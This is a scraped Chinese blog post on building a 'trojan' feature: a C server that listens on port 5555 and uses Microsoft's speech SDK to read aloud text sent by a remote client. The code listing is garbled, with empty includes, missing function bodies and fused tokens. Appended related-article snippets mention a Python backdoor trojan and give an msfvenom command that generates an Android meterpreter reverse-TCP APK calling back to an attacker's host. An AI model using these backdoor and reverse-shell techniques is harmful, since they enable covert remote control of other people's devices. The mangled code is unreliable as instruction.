木馬程式設計DIY之文字語音

2021-08-22 08:08:49 字數 1861 閱讀 6867

木馬程式設計diy之文字語音

冷風 德州科技職業學院

在黑防的第2期上天涯衰草(是電腦報上黑客營的老大吧呵呵)對「壽鼠」遠端控制程式進行了介紹,其中有乙個

功能就是「跟對方講英語」感覺很有意思,就試著自己做了乙個發現也不是太難,效果如圖1所示

程式在vc6.0+win2000下編寫分為服務端(sdk)和客戶端兩個檔案,在其它機器的執行服務端後,就可以通過客戶端讓它「說話」了,如果目標

位址為空的話,會在自己的電腦上朗讀。

關於文字語音

壽鼠的朗讀功能就是通過文字語音實現的,文字語音又稱為tts(text-to-speech)它的作用就是把文字轉化為語音,如果我們想

開發這種程式,需要使用軟提供的軟體開發包microsoft speech sdk,目前使用最為廣泛的版本是5.1,這個包大小在65m左右在

很方便的做出自己的程式了。

準備工作

在開始前應該把microsoft speech sdk安裝好,裝好後進入安裝目錄把include和lib目錄中的標頭檔案與庫檔案複製到vc的開發目錄裡面

我這裡是c:/microsoft visual studio/vc98/include跟lib目錄,當然你也可以在vc中設定路徑(我喜歡直接複製過去)現在就可

以編寫程式了

服務端編寫

服務端執行後就一直在5555埠監聽,收到資料就讀出來,實現**如下

#include

<

sapi.h

>

//tts所需要的標頭檔案

#include

<

windows.h

>

#include

<

winsock.h

>

#pragma

comment(lib,"ws2_32")

//載入庫函式

const

intbuffer_len

=2048

;int

apientrywinmain(hinstancehinstance,

hinstancehprevinstance,

lpstrlpcmdline,

intncmdshow)

//獲取ispvoice介面

hresulthr

=cocreateinstance(clsid_spvoice,null,clsctx_all,iid_ispvoice,(

void**)

&pvoice);

if(succeeded(hr))

couninitialize();

//釋放

}else

break;//

接受資料為0退出}}

closesocket(server);

closesocket(client);

wsacleanup();

return0;

}

實現**挺簡單的,需要注意的是在

pvoice->speak(const wchar *pwcs,dword dwflags,ulong *pulstreamnumber);中pwcs是wchar型別的也就是unicode編碼

所以從網路收到資料後要進行unicode轉換,編碼轉換可以用multibytetowidechar api來實現,這是乙個很好用的api看看上文

的**就會用了。

客戶端實現

客戶端實現同樣很簡單,所以我就不再浪費感情了呵呵

cmydlg::onok()

...else

//把資料傳送至目標

...的幫助文件,

python socket程式設計製作後門木馬(原創)

懶得解釋怎麼寫出來的,直接上 client 簡單連線伺服器 server 單執行緒,長久監聽服務,長連線,會話先進先出排隊原則 server 多執行緒,長久監聽服務,長連線,同步處理會話 backdoor 結合命令執行製作後門木馬 正向 usr bin python coding utf 8 imp...

Kali之安卓木馬

進入 進入 msfvenom p android meterpreter reverse tcp lhost 伺服器的ip 上面ping伺服器得到的ip lport 34611 上面伺服器的埠號 r root apk.apk34611是設定的埠,顯示這個說明已經生成木馬成功了,如圖 6.啟動msf。...

TurnipBit口袋程式設計計算機DIY計數存錢罐

下面使用turnipbit開發板自己製作了乙個計數存錢罐,不光能存錢,還能計數,還能顯示存了多少錢,分享出來給大家交流學習一下。實物成品如下圖 這個計數存錢罐主要原理就是利用了硬幣可以導電的基本特性。在盒子放入硬幣的入口處設定乙個略小於硬幣厚度的金屬夾片,分別連線io口和gnd,這樣在有硬幣投入的時...